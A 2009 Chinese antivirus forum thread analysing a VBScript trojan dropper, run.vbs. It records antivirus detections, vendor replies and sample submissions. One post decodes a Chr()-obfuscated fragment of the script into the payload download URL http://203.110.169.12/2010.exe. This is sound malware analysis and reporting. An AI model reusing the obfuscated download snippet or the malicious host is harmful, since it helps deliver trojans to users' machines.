请分析一下这个run.vbs

显示全部楼层 · 发表于 2009-9-22 16:11:40

文件里面的代码解码出来的内容是什么？

显示全部楼层 · 发表于 2009-9-22 16:13:33

为了免杀都转成ASC码了啊。。。。。。。。。

显示全部楼层 · 发表于 2009-9-22 17:10:27

在桌面产生一个exe文件，运行后出现

显示全部楼层 · 发表于 2009-9-22 17:53:05

22/9/2009 17:52:55 Detected Trojan program Trojan-Dropper.VBS.Agent.l High Exact C:\Documents and Settings\kato\桌面\run.vbs2

https://www.virustotal.com/anali ... 89700b1c-1253613209
to mcafee,comodo,eset,antivir

The file 'run.vb2s' has been determined to be 'UNDER ANALYSIS'.

http://sample.nod32.com.hk/index ... a51a708cb7f0aba6323

[ 本帖最后由 sam.to 于 2009-9-22 17:56 编辑 ]

显示全部楼层 · 发表于 2009-9-22 18:19:32

瑞星2010
Trojan.DL.Script.VBS.Agent.xiy

显示全部楼层 · 发表于 2009-9-22 19:26:05

The file 'run.vb2s' has been determined to be 'MALWARE'. Our analysts named the threat TR/VBS.Agent.l . The term "TR/" denotes a trojan horse that is able to spy out data, to violate your privacy or carry out unwanted modifications to the system.Detection will be added to our virus definition file (VDF) with one of the next updates.

显示全部楼层 · 发表于 2009-9-22 22:01:06

to McAfee

显示全部楼层 · 发表于 2009-9-22 22:18:36

过红伞。。。

显示全部楼层 · 发表于 2009-9-22 22:31:22

上报费尔已能查杀

显示全部楼层 · 发表于 2009-9-22 22:50:53

,Chr(104)+Chr(116)+Chr(116)+Chr(112)+Chr(58)+Chr(47)+Chr(47)+Chr(50)+Chr(48)+Chr(51)+Chr(46)+Chr(49)+Chr(49)+Chr(48)+Chr(46)+Chr(49)+Chr(54)+Chr(57)+Chr(46)+Chr(49)+Chr(50)+Chr(47)+Chr(50)+Chr(48)+Chr(49)+Chr(48)+Chr(46)+Chr(101)+Chr(120)+Chr(101)

->
,104,116,116,112,58,47,47,50,48,51,46,49,49,48,46,49,54,57,46,49,50,47,50,48,49,48,46,101,120,101

->>
http://203.110.169.12/2010.exe

[病毒样本] 请分析一下这个run.vbs

本帖子中包含更多资源

本帖子中包含更多资源